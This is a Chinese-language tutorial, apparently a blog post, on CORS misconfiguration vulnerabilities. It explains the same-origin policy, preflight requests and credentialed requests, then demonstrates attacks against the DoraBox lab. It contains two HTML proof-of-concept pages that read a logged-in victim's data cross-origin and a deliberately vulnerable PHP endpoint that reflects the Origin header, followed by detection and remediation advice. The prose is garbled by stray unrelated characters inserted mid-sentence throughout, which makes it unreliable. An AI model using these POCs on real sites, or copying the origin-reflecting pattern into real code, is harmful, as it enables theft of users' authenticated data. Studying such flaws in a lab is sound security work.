前言:
很早之前就想學習了解的一個漏洞,雖然實戰(zhàn)中還沒遇到過瞄勾,但并不影響我認識它费奸。
基礎了解:
這里先簡單介紹下同源策略:
為了保證用戶信息的安全,防止惡意的網(wǎng)站竊取數(shù)據(jù)进陡。不是同源的網(wǎng)站愿阐,不能相互讀取信息,譬如用戶登錄A站四濒,同時登錄了B站换况,如果A\B不是同源,那么A不能讀取B站的數(shù)據(jù)
同源策略包括以下三個方面:同端口盗蟆、同協(xié)議戈二、同域名
同源策略(SOP)限制了應用程序之間的信息共享,并且僅允許在托管應用程序的域內(nèi)共享喳资。這有效防止了系統(tǒng)機密信息的泄露觉吭。但與此同時,也帶來了另外的問題仆邓。隨著Web應用程序和微服務使用的日益增長鲜滩,出于實用目的往往需要將信息從一個子域傳遞到另一個子域,或者在不同域之間進行傳遞(例如將訪問令牌和會話標識符节值,傳遞給另一個應用程序)
默認的配置徙硅,或是由于缺乏對此的了解而導致了錯誤的配置。
CORS是一個W3C標準搞疗,全稱是"跨域資源共享"(Cross-origin resource sharing)。它允許瀏覽器向跨源(協(xié)議 + 域名 + 端口)服務器匿乃,發(fā)出XMLHttpRequest請求幢炸,從而克服了AJAX只能同源使用的限制泄隔。
CORS 需要瀏覽器和服務器同時支持。目前宛徊,所有瀏覽器都支持該功能,IE 瀏覽器不能低于 IE10巷燥。
CORS 背后的基本思想,就是使用自定義的 HTTP 頭部讓瀏覽器與服務器進行溝通号枕,從而決定請求或響應是應該成功缰揪,還是應該失敗。
漏洞詳情:
CORS定義了兩種跨域請求:簡單請求 和 非簡單請求:
- 簡單跨域請求就是使用設定的請求方式請求數(shù)據(jù)
- 非簡單跨域請求則是在使用設定的請求方式請求數(shù)據(jù)之前钝腺,先發(fā)送一個OPTIONS預檢請求赞厕,驗證請求源是否為服務端允許源。只有"預檢"通過后才會再發(fā)送一次請求用于數(shù)據(jù)傳輸
簡單跨域請求需同時滿足以下兩個條件:
- 請求方法是以下三種方法之一:HEAD毫目、GET、POST
- HTTP的頭信息不超出以下幾種字段:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:application/x-www-form-urlencoded箱蟆、 multipart/form-data刮便、text/plain
簡單請求:
瀏覽器直接發(fā)出CORS請求,在頭信息中添加一個Origin字段辈毯,用來說明請求來自哪個源搜贤,服務器根據(jù)這個值,決定是否同意這次請求管毙。
如果Origin指定的源在許可范圍內(nèi)桌硫,即驗證通過铆隘,服務端會在Response Header 添加下面幾個字段:
- Access-Control-Allow-Origin:該字段是必須的卓舵。它的值要么是請求時Origin字段的值掏湾,要么是一個*肿嘲,表示接受任意域名的請求。
- Access-Control-Allow-Credentials:該字段可選尊浪。它的值是一個布爾值封救,表示是否允許發(fā)送Cookie。默認情況下鹅士,Cookie不包括在CORS請求之中惩坑。當設置為true時,即表示服務器明確許可趾痘,Cookie可以包含在請求中扼脐,一起發(fā)給服務器奋刽。
- Access-Control-Allow-Headers:用來判斷瀏覽器通過什么方式發(fā)起的,默認是content-type肚吏,如果后端服務器未配置這個請求頭狭魂,或者僅允許content-type而瀏覽器通過XMLHttpRequest發(fā)起雌澄,也會跨域失敗。
如果服務器不許可炫掐,服務器也會返回一個正常的HTTP回應睬涧,返回的狀態(tài)碼可能為200。返回的信息中不會包含Access-Control-Allow-Origin字段
而瀏覽器會發(fā)現(xiàn)痹束,這個回應的頭信息中的Access-Control-Allow-Origin字段不包含訪問源讶请,就知道出錯了夺溢,從而拋出同源檢測異常的錯誤。這個錯誤不能通過狀態(tài)碼識別环壤,需要onerror捕獲
這里以DoraBox靶場演示:
項目地址:https://github.com/Acmesec/DoraBox
修改header中的origin字段钞诡,驗證是否存在CORS跨域漏洞:
利用POC:
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "http://192.168.107.156/DoraBox/csrf/userinfo.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
成功跨域獲取敏感信息:
非簡單請求:
- 非簡單請求的請求方法是PUT或DELETE接箫,或者Content-Type字段的類型是application/json。
- 在正式通信之前薄扁,會增加一次OPTIONS方法的預檢請求废累。
- 詢問服務器邑滨,網(wǎng)頁所在域名是否在服務器的許可名單中,以及可以使用那些HTTP動詞和頭信息字段匣距,只有得到肯定答復哎壳,瀏覽器才會發(fā)出正式XMLHTTPRequest請求,否則會報錯
瀏覽器先發(fā)送一個OPTIONS方法的預檢請求恩静,帶有如下字段:
- Origin: 表明來源域蹲坷。
- Access-Control-Request-Method: 表面接下來請求的方法循签,例如PUT、DELETE等等
- Access-Control-Request-Headers: 自定義的頭部风科,所有用setRequestHeader方法設置的頭部都將會以逗號隔開的形式包含在這個頭中
如果服務器配置了CORS乞旦,會返回對應對的字段:
- Access-Control-Allow-Origin: 允許進行跨域請求的域名
- Access-Control-Allow-Methods: 允許進行跨域請求的方式
- Access-Control-Allow-Headers: 允許進行跨區(qū)請求的頭部
如下圖所示:
CORS的最后一道防線:
如果一個目標域設置成了允許任意域的跨域請求兰粉,這個請求又帶著 Cookie 的話,這個請求是不合法的愕秫。
也就是說,如果需要實現(xiàn)帶 Cookie 的跨域請求符喝,CORS服務端需要明確的配置允許來源的域甜孤,使用任意域的配置是不合法的)瀏覽器會屏蔽掉返回的結(jié)果,Javascript 就沒法獲取返回的數(shù)據(jù)了茉稠。
示例代碼如下:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
當然對于無cookie頁面是可以進行CSRF或者CORS攻擊战惊,這種情況一般危害就相對小很多了扎即。
如果要把Cookie發(fā)到服務器况凉,一方面要服務器同意刁绒,指定Access-Control-Allow-Credentials字段。
Access-Control-Allow-Credentials: true
另一方面傻盟,開發(fā)者必須在AJAX請求中打開withCredentials屬性
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
現(xiàn)實環(huán)境中的CORS嫂丙,幾乎都是必定需要cookie的跟啤,不需要cookie的CORS的危害度也大大降低。
設置一個需要cookie才能訪問的頁面:
# cors.php
<?php
setcookie("name","admin");
# header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
# header("Access-Control-Allow-Credentials: true");
header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Headers: content-type,x-requested-with');
$id=json_decode(file_get_contents("php://input"),TRUE)['id'];
if (($id == 1) && ($_COOKIE["name"] == "admin")){
echo json_encode(array(
'id' => 1,
'name' => 'test',
'iphone' => 13888888888,
'email' => 'test@qq.com'
));
}
?>
不攜帶cookie進行訪問竿奏,無法獲取敏感數(shù)據(jù):
利用POC:
// cors_test2.html
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
payload = '{"id":"1"}';
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("POST", "http://192.168.107.156/DoraBox/csrf/cors.php", true);
xhttp.setRequestHeader("Content-type","application/json; charset=utf-8");
xhttp.withCredentials = true;
xhttp.send(payload);
}
</script>
</body>
</html>
測試的時候發(fā)現(xiàn)CORS失效泛啸,原因是默認情況下服務器不許可Cookie可以包含在請求中秃症,一起發(fā)給服務器汞舱。
我們將cors.php對應注釋的部分去掉即可:
漏洞代碼:
1昂芜、一般如下配置是最危險的赔蒲,可以攜帶cookie進行CORS攻擊
header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header("Access-Control-Allow-Credentials: true");
2、這種情況下欢际,無cookie頁面可以進行CORS攻擊矾兜。
header('Access-Control-Allow-Origin: *')
補充說明:
- 同域的請求會自動帶上Cookie
- Origin為空椅寺,表示是同域或直接訪問,視為安全情況桐玻。做安全限制需要注意空Origin荆萤,不要一起限制了
- 后端設置
Access-Control-Allow-Credentials
為true,表示跨域請求后端接口時偏竟,允許帶上Cookie敞峭。此時儡陨,前端必須設置withCredentials
為true。**同時骗村,由于Cookie本身也受同源策略限制胚股,所以Cookie要實現(xiàn)跨域,還需要滿足:
- 相同的一級域名(比如joychou.org)
- Cookie的domain設置為.joychou.org
漏洞檢測:
一般在burp中增加Origin: https://test.com缨伊,觀察服務器采用了哪種配置。如果使用的是白名單枷恕,也有可能是使用了正則白名單谭胚,有可能存在繞過的方式。
修復方案:
1胡控、嚴格效驗來自請求數(shù)據(jù)包中的“Origin”的值旁趟。當收到跨域請求的時候锡搜,要檢查“Origin” 的值是否是一個可信的源,還要檢查是否為null
2纷宇、避免使用 “Access-Control-Allow-Credentials :true” (請求中帶cookie)
3蛾方、減少“Access-Control-Allow-Methods”所允許的方法(只需要配置你所需要的即可)
參考如下:
CSRF-CORS-JSONP
CORS跨域資源共享漏洞
跨域CORS上陕、JSONP原理及漏洞的利用
CORS · JoyChou93/java-sec-code Wiki
Web業(yè)務安全測試—CORS跨域資源共享漏洞
《網(wǎng)絡安全學習》 第七部分-----跨域資源共享(CORS)漏洞